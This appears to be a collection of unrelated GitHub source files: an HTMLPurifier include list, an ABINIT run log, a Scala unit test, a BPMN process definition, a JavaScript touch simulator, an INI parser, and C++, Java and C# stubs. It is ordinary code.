require_once $__dir . '/HTMLPurifier/HTMLModule/Name.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Nofollow.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Object.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Presentation.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Proprietary.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Ruby.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/SafeEmbed.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/SafeObject.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/SafeScripting.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Scripting.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/StyleAttribute.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tables.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Target.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/TargetBlank.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Text.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/XMLCommonAttributes.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Name.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Proprietary.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Strict.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Transitional.php';
require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTML.php';
require_once $__dir . '/HTMLPurifier/Injector/AutoParagraph.php';
require_once $__dir . '/HTMLPurifier/Injector/DisplayLinkURI.php';
require_once $__dir . '/HTMLPurifier/Injector/Linkify.php';
require_once $__dir . '/HTMLPurifier/Injector/PurifierLinkify.php';
require_once $__dir . '/HTMLPurifier/Injector/RemoveEmpty.php';
require_once $__dir . '/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php';
require_once $__dir . '/HTMLPurifier/Injector/SafeObject.php';
require_once $__dir . '/HTMLPurifier/Lexer/DOMLex.php';
require_once $__dir . '/HTMLPurifier/Lexer/DirectLex.php';
require_once $__dir . '/HTMLPurifier/Node/Comment.php';
require_once $__dir . '/HTMLPurifier/Node/Element.php';
require_once $__dir . '/HTMLPurifier/Node/Text.php';
require_once $__dir . '/HTMLPurifier/Strategy/Composite.php';
require_once $__dir . '/HTMLPurifier/Strategy/Core.php';
require_once $__dir . '/HTMLPurifier/Strategy/FixNesting.php';
require_once $__dir . '/HTMLPurifier/Strategy/MakeWellFormed.php';
require_once $__dir . '/HTMLPurifier/Strategy/RemoveForeignElements.php';
require_once $__dir . '/HTMLPurifier/Strategy/ValidateAttributes.php';
require_once $__dir . '/HTMLPurifier/TagTransform/Font.php';
require_once $__dir . '/HTMLPurifier/TagTransform/Simple.php';
require_once $__dir . '/HTMLPurifier/Token/Comment.php';
require_once $__dir . '/HTMLPurifier/Token/Tag.php';
require_once $__dir . '/HTMLPurifier/Token/Empty.php';
require_once $__dir . '/HTMLPurifier/Token/End.php';
require_once $__dir . '/HTMLPurifier/Token/Start.php';
require_once $__dir . '/HTMLPurifier/Token/Text.php';
require_once $__dir . '/HTMLPurifier/URIFilter/DisableExternal.php';
require_once $__dir . '/HTMLPurifier/URIFilter/DisableExternalResources.php';
require_once $__dir . '/HTMLPurifier/URIFilter/DisableResources.php';
require_once $__dir . '/HTMLPurifier/URIFilter/HostBlacklist.php';
require_once $__dir . '/HTMLPurifier/URIFilter/MakeAbsolute.php';
require_once $__dir . '/HTMLPurifier/URIFilter/Munge.php';
require_once $__dir . '/HTMLPurifier/URIFilter/SafeIframe.php';
require_once $__dir . '/HTMLPurifier/URIScheme/data.php';
require_once $__dir . '/HTMLPurifier/URIScheme/file.php';
require_once $__dir . '/HTMLPurifier/URIScheme/ftp.php';
require_once $__dir . '/HTMLPurifier/URIScheme/http.php';
require_once $__dir . '/HTMLPurifier/URIScheme/https.php';
require_once $__dir . '/HTMLPurifier/URIScheme/mailto.php';
require_once $__dir . '/HTMLPurifier/URIScheme/news.php';
require_once $__dir . '/HTMLPurifier/URIScheme/nntp.php';
require_once $__dir . '/HTMLPurifier/VarParser/Flexible.php';
require_once $__dir . '/HTMLPurifier/VarParser/Native.php';
|
{
"pile_set_name": "Github"
}
|
.Version 8.11.12 of ABINIT
.(MPI version, prepared for a x86_64_linux_gnu9.2 computer)
.Copyright (C) 1998-2020 ABINIT group .
ABINIT comes with ABSOLUTELY NO WARRANTY.
It is free software, and you are welcome to redistribute it
under certain conditions (GNU General Public License,
see ~abinit/COPYING or http://www.gnu.org/copyleft/gpl.txt).
ABINIT is a project of the Universite Catholique de Louvain,
Corning Inc. and other collaborators, see ~abinit/doc/developers/contributors.txt .
Please read https://docs.abinit.org/theory/acknowledgments for suggested
acknowledgments of the ABINIT effort.
For more information, see https://www.abinit.org .
.Starting date : Mon 25 Nov 2019.
- ( at 08h20 )
- input file -> tgspw_01.in
- output file -> tgspw_01.out
- root for input files -> tgspw_01i
- root for output files -> tgspw_01o
--- !Autoparal
#Autoparal section for GS calculations with paral_kgb
info:
autoparal: 1
paral_kgb: 1
max_ncpus: 108
nspinor: 1
nsppol: 1
nkpt: 1
mband: 648
configurations:
- tot_ncpus: 108
mpi_ncpus: 108
omp_ncpus: 1
efficiency: 0.692242577
vars: {
npimage: 1,
npkpt: 1,
npspinor: 1,
npfft: 6,
npband: 18,
bandpp: 12,
}
- tot_ncpus: 108
mpi_ncpus: 108
omp_ncpus: 1
efficiency: 0.690090110
vars: {
npimage: 1,
npkpt: 1,
npspinor: 1,
npfft: 9,
npband: 12,
bandpp: 18,
}
- tot_ncpus: 108
mpi_ncpus: 108
omp_ncpus: 1
efficiency: 0.682289803
vars: {
npimage: 1,
npkpt: 1,
npspinor: 1,
npfft: 12,
npband: 9,
bandpp: 24,
}
- tot_ncpus: 108
mpi_ncpus: 108
omp_ncpus: 1
efficiency: 0.681113097
vars: {
npimage: 1,
npkpt: 1,
npspinor: 1,
npfft: 18,
npband: 6,
bandpp: 36,
}
- tot_ncpus: 108
mpi_ncpus: 108
omp_ncpus: 1
efficiency: 0.676268079
vars: {
npimage: 1,
npkpt: 1,
npspinor: 1,
npfft: 4,
npband: 27,
bandpp: 8,
}
...
====================================================================================================
Searching for all possible proc distributions for this input with #CPUs<=108:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| npkpt| npfft| npband| bandpp| #MPI(proc)| WEIGHT|
| 1<< 1| 1<< 22| 1<< 108| 1<< 648| 1<< 108| <= 108|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| 1| 6| 18| 12| 108| 74.762|
| 1| 9| 12| 18| 108| 74.530|
| 1| 12| 9| 24| 108| 73.687|
| 1| 18| 6| 36| 108| 73.560|
| 1| 4| 27| 8| 108| 73.037|
| 1| 3| 36| 6| 108| 70.188|
| 1| 12| 9| 18| 108| 70.065|
| 1| 4| 27| 6| 108| 69.448|
| 1| 8| 12| 18| 96| 67.032|
| 1| 16| 6| 36| 96| 65.931|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Only the best possible choices for nproc are printed...
>>> Possible (best) choices for the number of bands (nband) are:
with: npfft=6
nband= 648 using 108 CPUs = 108 MPI x 1 threads (npband= 18)
nband= 663 using 102 CPUs = 102 MPI x 1 threads (npband= 17)
nband= 646 using 102 CPUs = 102 MPI x 1 threads (npband= 17)
nband= 640 using 96 CPUs = 96 MPI x 1 threads (npband= 16)
nband= 656 using 96 CPUs = 96 MPI x 1 threads (npband= 16)
nband= 645 using 90 CPUs = 90 MPI x 1 threads (npband= 15)
nband= 660 using 90 CPUs = 90 MPI x 1 threads (npband= 15)
nband= 644 using 84 CPUs = 84 MPI x 1 threads (npband= 14)
nband= 658 using 84 CPUs = 84 MPI x 1 threads (npband= 14)
nband= 650 using 78 CPUs = 78 MPI x 1 threads (npband= 13)
nband= 637 using 78 CPUs = 78 MPI x 1 threads (npband= 13)
nband= 636 using 72 CPUs = 72 MPI x 1 threads (npband= 12)
>>> The present nband value ( 648) seems to be the best choice!
Launch a parallel version of ABINIT with a distribution of processors among the above list,
and the associated input variables (npkpt, npband, npfft, bandpp, etc.).
The higher weight should be better.
====================================================================================================
|
{
"pile_set_name": "Github"
}
|
package com.shekhargulati.ninetynine_problems._01_lists
import org.scalatest.{FunSpec, Matchers}
class P13Test extends FunSpec with Matchers {
describe("P13 Spec") {
it("should perform run-length encoding") {
val encodedList: List[Any] = P13.encode_direct(List("a", "a", "a", "a", "b", "c", "c", "a", "a", "d", "e", "e", "e", "e"))
encodedList should have size 6
encodedList(0) should equal((4, "a"))
encodedList(1) should equal("b")
encodedList(2) should equal((2, "c"))
encodedList(3) should equal((2, "a"))
encodedList(4) should equal("d")
encodedList(5) should equal((4, "e"))
}
}
describe("P13 Spec(span)") {
it("should perform run-length encoding") {
val encodedList: List[Any] = P13.encode_direct_span(List("a", "a", "a", "a", "b", "c", "c", "a", "a", "d", "e", "e", "e", "e"))
encodedList should have size 6
encodedList(0) should equal((4, "a"))
encodedList(1) should equal(1, "b")
encodedList(2) should equal((2, "c"))
encodedList(3) should equal((2, "a"))
encodedList(4) should equal(1, "d")
encodedList(5) should equal((4, "e"))
}
}
}
|
{
"pile_set_name": "Github"
}
|
<@ include "lib/macros.html" -@>
<@ extends "api/api.template.html" @>
<@ block additional @>
<@ if doc.usage @>
## Usage
<$ doc.usage $>
<@ endif @>
<@ if doc.params or doc.returns or doc.this or doc.kind == 'function' -@>
<h2 id="usage">Usage</h2>
<@ if doc.usage @>
<$ doc.usage $>
<@ else @>
<$ functionSyntax(doc) $>
<@ endif @>
<$ paramTable(doc.params) $>
<@ include "lib/this.template.html" @>
<@ include "lib/returns.template.html" @>
<@- endif @>
<@ include "lib/methods.template.html" @>
<@ include "lib/events.template.html" @>
<@ include "lib/properties.template.html" @>
<@ endblock @>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<definitions id="Definition"
targetNamespace="http://www.example.org/MinimalExample"
typeLanguage="http://www.java.com/javaTypes"
expressionLanguage="http://www.mvel.org/2.0"
xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.omg.org/spec/BPMN/20100524/MODEL BPMN20.xsd"
xmlns:g="http://www.jboss.org/drools/flow/gpd"
xmlns:bpmndi="http://www.omg.org/spec/BPMN/20100524/DI"
xmlns:dc="http://www.omg.org/spec/DD/20100524/DC"
xmlns:di="http://www.omg.org/spec/DD/20100524/DI"
xmlns:tns="http://www.jboss.org/drools">
<itemDefinition id="_xItem" structureRef="String" />
<process processType="Private" isExecutable="true" id="IntermediateCatchEvent" name="IntermediateCatchEvent Process" >
<!-- process variables -->
<property id="x" itemSubjectRef="_xItem"/>
<!-- nodes -->
<startEvent id="_1" name="StartProcess" />
<intermediateCatchEvent id="_3" name="timer" >
<timerEventDefinition>
<timeDuration xsi:type="tFormalExpression">#{x}</timeDuration>
</timerEventDefinition>
</intermediateCatchEvent>
<endEvent id="_5" name="EndProcess" />
<userTask id="UserTask_1" name="User Task 1" >
<ioSpecification>
<dataInput id="UserTask_1_CreatedByInput" name="CreatedBy" />
<dataInput id="UserTask_1_CommentInput" name="Comment" />
<dataInput id="UserTask_1_SkippableInput" name="Skippable" />
<dataInput id="UserTask_1_LocaleInput" name="Locale" />
<dataInput id="UserTask_1_TaskNameInput" name="TaskName" />
<dataInput id="UserTask_1_GroupIdInput" name="GroupId" />
<dataInput id="UserTask_1_PriorityInput" name="Priority" />
<inputSet>
<dataInputRefs>UserTask_1_CreatedByInput</dataInputRefs>
<dataInputRefs>UserTask_1_CommentInput</dataInputRefs>
<dataInputRefs>UserTask_1_SkippableInput</dataInputRefs>
<dataInputRefs>UserTask_1_LocaleInput</dataInputRefs>
<dataInputRefs>UserTask_1_TaskNameInput</dataInputRefs>
<dataInputRefs>UserTask_1_GroupIdInput</dataInputRefs>
<dataInputRefs>UserTask_1_PriorityInput</dataInputRefs>
</inputSet>
<outputSet>
</outputSet>
</ioSpecification>
<dataInputAssociation>
<targetRef>UserTask_1_CreatedByInput</targetRef>
<assignment>
<from xsi:type="tFormalExpression"></from>
<to xsi:type="tFormalExpression">UserTask_1_CreatedByInput</to>
</assignment>
</dataInputAssociation>
<dataInputAssociation>
<targetRef>UserTask_1_CommentInput</targetRef>
<assignment>
<from xsi:type="tFormalExpression"></from>
<to xsi:type="tFormalExpression">UserTask_1_CommentInput</to>
</assignment>
</dataInputAssociation>
<dataInputAssociation>
<targetRef>UserTask_1_SkippableInput</targetRef>
<assignment>
<from xsi:type="tFormalExpression">false</from>
<to xsi:type="tFormalExpression">UserTask_1_SkippableInput</to>
</assignment>
</dataInputAssociation>
<dataInputAssociation>
<targetRef>UserTask_1_LocaleInput</targetRef>
<assignment>
<from xsi:type="tFormalExpression">en-UK</from>
<to xsi:type="tFormalExpression">UserTask_1_LocaleInput</to>
</assignment>
</dataInputAssociation>
<dataInputAssociation>
<targetRef>UserTask_1_TaskNameInput</targetRef>
<assignment>
<from xsi:type="tFormalExpression"></from>
<to xsi:type="tFormalExpression">UserTask_1_TaskNameInput</to>
</assignment>
</dataInputAssociation>
<dataInputAssociation>
<targetRef>UserTask_1_GroupIdInput</targetRef>
<assignment>
<from xsi:type="tFormalExpression"></from>
<to xsi:type="tFormalExpression">UserTask_1_GroupIdInput</to>
</assignment>
</dataInputAssociation>
<dataInputAssociation>
<targetRef>UserTask_1_PriorityInput</targetRef>
<assignment>
<from xsi:type="tFormalExpression"></from>
<to xsi:type="tFormalExpression">UserTask_1_PriorityInput</to>
</assignment>
</dataInputAssociation>
<potentialOwner>
<resourceAssignmentExpression>
<formalExpression>john</formalExpression>
</resourceAssignmentExpression>
</potentialOwner>
</userTask>
<!-- connections -->
<sequenceFlow id="_1-_3" sourceRef="_1" targetRef="_3" />
<sequenceFlow id="UserTask_1-_5" sourceRef="UserTask_1" targetRef="_5" />
<sequenceFlow id="_3-UserTask_1" sourceRef="_3" targetRef="UserTask_1" />
</process>
<bpmndi:BPMNDiagram>
<bpmndi:BPMNPlane bpmnElement="IntermediateCatchEvent" >
<bpmndi:BPMNShape bpmnElement="_1" >
<dc:Bounds x="16" y="16" width="48" height="48" />
</bpmndi:BPMNShape>
<bpmndi:BPMNShape bpmnElement="_3" >
<dc:Bounds x="96" y="16" width="48" height="48" />
</bpmndi:BPMNShape>
<bpmndi:BPMNShape bpmnElement="_5" >
<dc:Bounds x="380" y="16" width="48" height="48" />
</bpmndi:BPMNShape>
<bpmndi:BPMNShape bpmnElement="UserTask_1" >
<dc:Bounds x="200" y="16" width="110" height="50" />
</bpmndi:BPMNShape>
<bpmndi:BPMNEdge bpmnElement="_1-_3" >
<di:waypoint x="40" y="40" />
<di:waypoint x="120" y="40" />
</bpmndi:BPMNEdge>
<bpmndi:BPMNEdge bpmnElement="UserTask_1-_5" >
<di:waypoint x="255" y="41" />
<di:waypoint x="404" y="40" />
</bpmndi:BPMNEdge>
<bpmndi:BPMNEdge bpmnElement="_3-UserTask_1" >
<di:waypoint x="120" y="40" />
<di:waypoint x="255" y="41" />
</bpmndi:BPMNEdge>
</bpmndi:BPMNPlane>
</bpmndi:BPMNDiagram>
</definitions>
|
{
"pile_set_name": "Github"
}
|
// TouchSimulator.js
import alfrid, { EventDispatcher } from 'alfrid';
import Config from '../Config';
var random = function(min, max) { return min + Math.random() * (max - min); }
class TouchSimulator extends EventDispatcher {
constructor(mRadiusMultiplier=1, mResetting=true) {
super();
this._radiusMultiplier = mRadiusMultiplier;
this._isResetting = mResetting;
// position
const r = 0.05;
this._position = vec3.fromValues(
random(r, 1.0-r) * Config.TEXTURE_SIZE,
random(r, 1.0-r) * Config.TEXTURE_SIZE,
0
);
this._reset();
// loop
this._efIndex = alfrid.Scheduler.addEF(()=>this._update());
}
_reset() {
// direction
this._direction = vec3.fromValues(random(1, -1), random(-1, 1), 0);
vec3.normalize(this._direction, this._direction);
let speed = random(.25, 1) * 0.25;
vec3.scale(this._direction, this._direction, speed);
this._prePos = vec3.create();
this._count = 0;
this._minCount = Math.floor(random(400, 200));
this._radius = random(0.005, 0.06) * 0.5 * this._radiusMultiplier;
}
_update() {
vec3.copy(this._prePos, this._position);
vec3.add(this._position, this._position, this._direction);
this._checkBound();
const scale = 20;
this.trigger('onDrag', {
x:this._position[0],
y:this._position[1],
dx:(this._position[0] - this._prePos[0]) * scale,
dy:(this._position[1] - this._prePos[1]) * scale,
radius:this._radius
});
if(this._count++ > this._minCount && this._isResetting) {
this._reset();
}
}
_checkBound() {
// bouncing
//*/
if(this._position[0] > Config.TEXTURE_SIZE) {
this._direction[0] *= -1;
this._position[0] = Config.TEXTURE_SIZE - (this._position[0] - Config.TEXTURE_SIZE);
} else if(this._position[0] < 0) {
this._direction[0] *= -1;
this._position[0] *= -1;
}
if(this._position[1] > Config.TEXTURE_SIZE) {
this._direction[1] *= -1;
this._position[1] = Config.TEXTURE_SIZE - (this._position[1] - Config.TEXTURE_SIZE);
} else if(this._position[1] < 0) {
this._direction[1] *= -1;
this._position[1] *= -1;
}
/*/
// looping
while(this._position[0] < 0) {
this._position[0] += Config.TEXTURE_SIZE;
}
this._position[0] = this._position[0] % Config.TEXTURE_SIZE;
while(this._position[1] < 0) {
this._position[1] += Config.TEXTURE_SIZE;
}
this._position[1] = this._position[1] % Config.TEXTURE_SIZE;
//*/
}
destory() {
alfrid.Scheduler.removeEF(this._efIndex);
}
}
export default TouchSimulator;
|
{
"pile_set_name": "Github"
}
|
exports.parse = exports.decode = decode
exports.stringify = exports.encode = encode
exports.safe = safe
exports.unsafe = unsafe
var eol = process.platform === "win32" ? "\r\n" : "\n"
function encode (obj, section) {
var children = []
, out = ""
Object.keys(obj).forEach(function (k, _, __) {
var val = obj[k]
if (val && Array.isArray(val)) {
val.forEach(function(item) {
out += safe(k + "[]") + " = " + safe(item) + "\n"
})
}
else if (val && typeof val === "object") {
children.push(k)
} else {
out += safe(k) + " = " + safe(val) + eol
}
})
if (section && out.length) {
out = "[" + safe(section) + "]" + eol + out
}
children.forEach(function (k, _, __) {
var nk = dotSplit(k).join('\\.')
var child = encode(obj[k], (section ? section + "." : "") + nk)
if (out.length && child.length) {
out += eol
}
out += child
})
return out
}
function dotSplit (str) {
return str.replace(/\1/g, '\u0002LITERAL\\1LITERAL\u0002')
.replace(/\\\./g, '\u0001')
.split(/\./).map(function (part) {
return part.replace(/\1/g, '\\.')
.replace(/\2LITERAL\\1LITERAL\2/g, '\u0001')
})
}
function decode (str) {
var out = {}
, p = out
, section = null
, state = "START"
// section |key = value
, re = /^\[([^\]]*)\]$|^([^=]+)(=(.*))?$/i
, lines = str.split(/[\r\n]+/g)
, section = null
lines.forEach(function (line, _, __) {
if (!line || line.match(/^\s*[;#]/)) return
var match = line.match(re)
if (!match) return
if (match[1] !== undefined) {
section = unsafe(match[1])
p = out[section] = out[section] || {}
return
}
var key = unsafe(match[2])
, value = match[3] ? unsafe((match[4] || "")) : true
switch (value) {
case 'true':
case 'false':
case 'null': value = JSON.parse(value)
}
// Convert keys with '[]' suffix to an array
if (key.length > 2 && key.slice(-2) === "[]") {
key = key.substring(0, key.length - 2)
if (!p[key]) {
p[key] = []
}
else if (!Array.isArray(p[key])) {
p[key] = [p[key]]
}
}
// safeguard against resetting a previously defined
// array by accidentally forgetting the brackets
if (Array.isArray(p[key])) {
p[key].push(value)
}
else {
p[key] = value
}
})
// {a:{y:1},"a.b":{x:2}} --> {a:{y:1,b:{x:2}}}
// use a filter to return the keys that have to be deleted.
Object.keys(out).filter(function (k, _, __) {
if (!out[k] || typeof out[k] !== "object" || Array.isArray(out[k])) return false
// see if the parent section is also an object.
// if so, add it to that, and mark this one for deletion
var parts = dotSplit(k)
, p = out
, l = parts.pop()
, nl = l.replace(/\\\./g, '.')
parts.forEach(function (part, _, __) {
if (!p[part] || typeof p[part] !== "object") p[part] = {}
p = p[part]
})
if (p === out && nl === l) return false
p[nl] = out[k]
return true
}).forEach(function (del, _, __) {
delete out[del]
})
return out
}
function isQuoted (val) {
return (val.charAt(0) === "\"" && val.slice(-1) === "\"")
|| (val.charAt(0) === "'" && val.slice(-1) === "'")
}
function safe (val) {
return ( typeof val !== "string"
|| val.match(/[\r\n]/)
|| val.match(/^\[/)
|| (val.length > 1
&& isQuoted(val))
|| val !== val.trim() )
? JSON.stringify(val)
: val.replace(/;/g, '\\;').replace(/#/g, "\\#")
}
function unsafe (val, doUnesc) {
val = (val || "").trim()
if (isQuoted(val)) {
// remove the single quotes before calling JSON.parse
if (val.charAt(0) === "'") {
val = val.substr(1, val.length - 2);
}
try { val = JSON.parse(val) } catch (_) {}
} else {
// walk the val to find the first not-escaped ; character
var esc = false
var unesc = "";
for (var i = 0, l = val.length; i < l; i++) {
var c = val.charAt(i)
if (esc) {
if ("\\;#".indexOf(c) !== -1)
unesc += c
else
unesc += "\\" + c
esc = false
} else if (";#".indexOf(c) !== -1) {
break
} else if (c === "\\") {
esc = true
} else {
unesc += c
}
}
if (esc)
unesc += "\\"
return unesc
}
return val
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2020 Free Software Foundation, Inc.
*
* This file is part of GNU Radio
*
* SPDX-License-Identifier: GPL-3.0-or-later
*
*/
#include "pydoc_macros.h"
#define D(...) DOC(gr, __VA_ARGS__)
/*
This file contains placeholders for docstrings for the Python bindings.
Do not edit! These were automatically extracted during the binding process
and will be overwritten during the build process
*/
static const char* __doc_gr_io_signature = R"doc()doc";
static const char* __doc_gr_io_signature_io_signature = R"doc()doc";
static const char* __doc_gr_io_signature_make = R"doc()doc";
static const char* __doc_gr_io_signature_make2 = R"doc()doc";
static const char* __doc_gr_io_signature_make3 = R"doc()doc";
static const char* __doc_gr_io_signature_makev = R"doc()doc";
static const char* __doc_gr_io_signature_min_streams = R"doc()doc";
static const char* __doc_gr_io_signature_max_streams = R"doc()doc";
static const char* __doc_gr_io_signature_sizeof_stream_item = R"doc()doc";
static const char* __doc_gr_io_signature_sizeof_stream_items = R"doc()doc";
|
{
"pile_set_name": "Github"
}
|
package com.github.sommeri.less4j.core.compiler.scopes;
public abstract class AbstractScopesTree implements IScopesTree {
@Override
public boolean hasParent() {
return getParent() != null;
}
@Override
public int getTreeSize() {
int result = 1;
for (IScope kid : getChilds()) {
result = result + kid.getTreeSize();
}
return result;
}
}
|
{
"pile_set_name": "Github"
}
|
#pragma warning disable 108 // new keyword hiding
#pragma warning disable 114 // new keyword hiding
namespace Windows.UI.Popups
{
#if false || false || false || false || false || false || false
[global::Uno.NotImplemented]
#endif
public partial class PopupMenu
{
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public global::System.Collections.Generic.IList<global::Windows.UI.Popups.IUICommand> Commands
{
get
{
throw new global::System.NotImplementedException("The member IList<IUICommand> PopupMenu.Commands is not implemented in Uno.");
}
}
#endif
// Skipping already declared method Windows.UI.Popups.PopupMenu.PopupMenu()
// Forced skipping of method Windows.UI.Popups.PopupMenu.PopupMenu()
// Forced skipping of method Windows.UI.Popups.PopupMenu.Commands.get
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public global::Windows.Foundation.IAsyncOperation<global::Windows.UI.Popups.IUICommand> ShowAsync( global::Windows.Foundation.Point invocationPoint)
{
throw new global::System.NotImplementedException("The member IAsyncOperation<IUICommand> PopupMenu.ShowAsync(Point invocationPoint) is not implemented in Uno.");
}
#endif
// Skipping already declared method Windows.UI.Popups.PopupMenu.ShowForSelectionAsync(Windows.Foundation.Rect)
// Skipping already declared method Windows.UI.Popups.PopupMenu.ShowForSelectionAsync(Windows.Foundation.Rect, Windows.UI.Popups.Placement)
}
}
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.